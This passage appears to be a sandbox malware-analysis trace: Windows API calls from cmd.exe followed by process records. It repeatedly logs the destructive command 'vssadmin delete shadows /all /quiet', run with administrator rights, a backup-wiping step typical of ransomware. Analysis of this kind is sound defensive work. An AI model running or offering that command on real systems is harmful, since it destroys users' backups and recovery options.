_String2="SystemR", _MaxCount=0x7) returned -16 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0210.915] GetProcessHeap () returned 0x21ccf2a0000 [0210.915] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a1850) returned 1 [0210.915] GetProcessHeap () returned 0x21ccf2a0000 [0210.915] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x12) returned 0x21ccf2a6e70 [0210.915] _get_osfhandle (_FileHandle=1) returned 0x234 [0210.915] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0 [0210.915] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.915] SetConsoleMode (hConsoleHandle=0x228, dwMode=0x0) returned 0 [0210.915] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xe6b974f3e0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe6b974f3b8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xe6b974f3b8*(hProcess=0x94, hThread=0x98, dwProcessId=0x9f0, dwThreadId=0xcc0)) returned 1 [0212.762] CloseHandle (hObject=0x98) returned 1 [0212.762] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0212.762] GetProcessHeap () returned 0x21ccf2a0000 [0212.762] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2ba020) returned 1 [0212.762] GetEnvironmentStringsW () returned 0x21ccf2b9520* [0212.762] GetProcessHeap () returned 0x21ccf2a0000 [0212.762] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xaf2) returned 0x21ccf2ba020 [0212.762] FreeEnvironmentStringsA (penv="=") returned 1 [0212.762] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xe6b974e8b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xe6b974e8b8, ReturnLength=0x0) returned 0x0 [0212.762] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xe83476e000, lpBuffer=0xe6b974e8f0, nSize=0x7a0, lpNumberOfBytesRead=0xe6b974e8b0 | out: lpBuffer=0xe6b974e8f0*, lpNumberOfBytesRead=0xe6b974e8b0*=0x7a0) returned 1 [0212.762] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0219.711] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0xe6b974f338 | out: lpExitCode=0xe6b974f338*=0x2) returned 1 [0219.711] CloseHandle (hObject=0x94) returned 1 [0219.711] _vsnwprintf (in: _Buffer=0xe6b974f508, _BufferCount=0x13, _Format="%08X", _ArgList=0xe6b974f348 | out: _Buffer="00000002") returned 8 [0219.711] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0219.711] GetProcessHeap () returned 0x21ccf2a0000 [0219.711] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2ba020) returned 1 [0219.711] GetEnvironmentStringsW () returned 0x21ccf2b9520* [0219.711] GetProcessHeap () returned 0x21ccf2a0000 [0219.711] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xaf2) returned 0x21ccf2ba020 [0219.711] FreeEnvironmentStringsA (penv="=") returned 1 [0219.711] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0219.711] GetProcessHeap () returned 0x21ccf2a0000 [0219.711] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2ba020) returned 1 [0219.711] GetEnvironmentStringsW () returned 0x21ccf2b9520* [0219.711] GetProcessHeap () returned 0x21ccf2a0000 [0219.711] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xaf2) returned 0x21ccf2ba020 [0219.711] FreeEnvironmentStringsA (penv="=") returned 1 [0219.711] GetProcessHeap () returned 0x21ccf2a0000 [0219.711] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6e70) returned 1 [0219.711] DeleteProcThreadAttributeList (in: lpAttributeList=0xe6b974f4c0 | out: lpAttributeList=0xe6b974f4c0) [0219.711] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0219.799] ??_V@YAXPEAX@Z () returned 0x1 [0219.799] _get_osfhandle (_FileHandle=1) returned 0x234 [0219.799] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0 [0219.799] _get_osfhandle (_FileHandle=1) returned 0x234 [0219.800] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff6a755fc08 | out: lpMode=0x7ff6a755fc08) returned 0 [0219.800] _get_osfhandle (_FileHandle=0) returned 0x228 [0219.800] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff6a755fc0c | out: lpMode=0x7ff6a755fc0c) returned 0 [0219.800] GetConsoleOutputCP () returned 0x4e3 [0219.804] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6a755fbb0 | out: lpCPInfo=0x7ff6a755fbb0) returned 1 [0219.804] SetThreadUILanguage (LangId=0x0) returned 0x409 [0219.805] GetProcessHeap () returned 0x21ccf2a0000 [0219.805] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2b9180) returned 1 [0219.805] GetProcessHeap () returned 0x21ccf2a0000 [0219.805] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2b8fb0) returned 1 [0219.805] GetProcessHeap () returned 0x21ccf2a0000 [0219.805] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6ca0) returned 1 [0219.805] GetProcessHeap () returned 0x21ccf2a0000 [0219.805] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2bab20) returned 1 [0219.805] GetProcessHeap () returned 0x21ccf2a0000 [0219.806] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6c30) returned 1 [0219.806] GetProcessHeap () returned 0x21ccf2a0000 [0219.806] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a8fc0) returned 1 [0219.806] GetProcessHeap () returned 0x21ccf2a0000 [0219.806] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a83e0) returned 1 [0219.806] GetProcessHeap () returned 0x21ccf2a0000 [0219.806] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6a80) returned 1 [0219.806] GetProcessHeap () returned 0x21ccf2a0000 [0219.806] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a8320) returned 1 [0219.806] _vsnwprintf (in: _Buffer=0x7ff6a7567f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe6b974f8e8 | out: _Buffer="\r\n") returned 2 [0219.806] _get_osfhandle (_FileHandle=1) returned 0x234 [0219.806] GetFileType (hFile=0x234) returned 0x3 [0219.806] _get_osfhandle (_FileHandle=1) returned 0x234 [0219.806] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0219.806] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe6b974f8b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974f8b8*=0x2, lpOverlapped=0x0) returned 1 [0219.816] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0219.816] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21ccf460080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0219.816] _vsnwprintf (in: _Buffer=0x21ccf470060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xe6b974f8f8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0219.816] _vsnwprintf (in: _Buffer=0x21ccf47008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xe6b974f8f8 | out: _Buffer=">") returned 1 [0219.816] _get_osfhandle (_FileHandle=1) returned 0x234 [0219.816] GetFileType (hFile=0x234) returned 0x3 [0219.816] _get_osfhandle (_FileHandle=1) returned 0x234 [0219.816] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0219.817] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xe6b974f8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974f8e8*=0x18, lpOverlapped=0x0) returned 1 [0219.817] _get_osfhandle (_FileHandle=0) returned 0x228 [0219.817] GetFileType (hFile=0x228) returned 0x3 [0219.817] _get_osfhandle (_FileHandle=0) returned 0x228 [0219.817] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.817] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0219.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0219.817] _get_osfhandle (_FileHandle=0) returned 0x228 [0219.817] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.817] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0219.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0219.817] _get_osfhandle (_FileHandle=0) returned 0x228 [0219.817] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.817] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0219.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0219.817] _get_osfhandle (_FileHandle=0) returned 0x228 [0219.817] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.817] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0219.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0219.817] _get_osfhandle (_FileHandle=0) returned 0x228 [0219.817] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.817] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0219.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0219.817] _get_osfhandle (_FileHandle=0) returned 0x228 [0219.817] GetFileType (hFile=0x228) returned 0x3 [0219.818] _get_osfhandle (_FileHandle=0) returned 0x228 [0219.818] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0219.818] _get_osfhandle (_FileHandle=1) returned 0x234 [0219.818] GetFileType (hFile=0x234) returned 0x3 [0219.818] _get_osfhandle (_FileHandle=1) returned 0x234 [0219.818] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0219.818] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xe6b974fbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974fbe8*=0x5, lpOverlapped=0x0) returned 1 [0219.818] GetProcessHeap () returned 0x21ccf2a0000 [0219.818] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x4012) returned 0x21ccf2a8fc0 [0219.818] GetProcessHeap () returned 0x21ccf2a0000 [0219.818] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a8fc0) returned 1 [0219.818] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0219.819] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0219.819] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0219.819] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0219.819] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0219.819] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0219.819] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0219.819] GetProcessHeap () returned 0x21ccf2a0000 [0219.819] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xb0) returned 0x21ccf2a8320 [0219.819] GetProcessHeap () returned 0x21ccf2a0000 [0219.819] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x1a) returned 0x21ccf2a6a80 [0219.819] GetConsoleOutputCP () returned 0x4e3 [0219.828] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6a755fbb0 | out: lpCPInfo=0x7ff6a755fbb0) returned 1 [0219.828] SetThreadUILanguage (LangId=0x0) returned 0x409 [0219.830] GetConsoleTitleW (in: lpConsoleTitle=0xe6b974fa30, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0220.563] malloc (_Size=0xffce) returned 0x21ccf480840 [0220.563] ??_V@YAXPEAX@Z () returned 0x21ccf480840 [0220.563] malloc (_Size=0xffce) returned 0x21ccf490820 [0220.563] ??_V@YAXPEAX@Z () returned 0x21ccf490820 [0220.563] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0220.563] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0220.564] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0220.564] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0220.564] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0220.564] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0220.564] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0220.564] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0220.564] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0220.564] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0220.564] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0220.564] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0220.564] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0220.564] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0220.564] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0220.564] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0220.564] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0220.564] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0220.564] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0220.564] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0220.564] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0220.564] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0220.564] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0220.564] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0220.564] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0220.564] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0220.564] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0220.564] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0220.564] ??_V@YAXPEAX@Z () returned 0x1 [0220.564] GetProcessHeap () returned 0x21ccf2a0000 [0220.564] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x14) returned 0x21ccf2a1850 [0220.564] GetProcessHeap () returned 0x21ccf2a0000 [0220.564] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x1a) returned 0x21ccf2a6ef0 [0220.564] GetProcessHeap () returned 0x21ccf2a0000 [0220.564] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x21c) returned 0x21ccf2a6c30 [0220.564] GetConsoleTitleW (in: lpConsoleTitle=0x21ccf2a6c40, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0221.225] GetProcessHeap () returned 0x21ccf2a0000 [0221.225] RtlReAllocateHeap (Heap=0x21ccf2a0000, Flags=0x0, Ptr=0x21ccf2a6c30, Size=0x82) returned 0x21ccf2a6c30 [0221.225] GetProcessHeap () returned 0x21ccf2a0000 [0221.225] RtlSizeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, MemoryPointer=0x21ccf2a6c30) returned 0x82 [0221.225] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0221.668] GetProcessHeap () returned 0x21ccf2a0000 [0221.668] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6c30) returned 1 [0221.669] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0221.823] exit (_Code=2) Thread: id = 28 os_tid = 0xff0 Process: id = "4" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x3041f000" os_pid = "0xffc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb10" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 23 os_tid = 0xc70 Thread: id = 24 os_tid = 0xec4 Thread: id = 25 os_tid = 0x9c0 Thread: id = 26 os_tid = 0xf84 Thread: id = 27 os_tid = 0x2b0 Process: id = "5" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x27f36000" os_pid = "0x4a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb10" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0x368 Thread: id = 30 os_tid = 0x798 Thread: id = 31 os_tid = 0x9fc Process: id = "6" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x483c6000" os_pid = "0x9f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb10" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 32 os_tid = 0xcc0 Thread: id = 33 os_tid = 0xecc Thread: id = 35 os_tid = 0xd24 Thread: id = 37 os_tid = 0xf4c Thread: id = 38 os_tid = 0xf60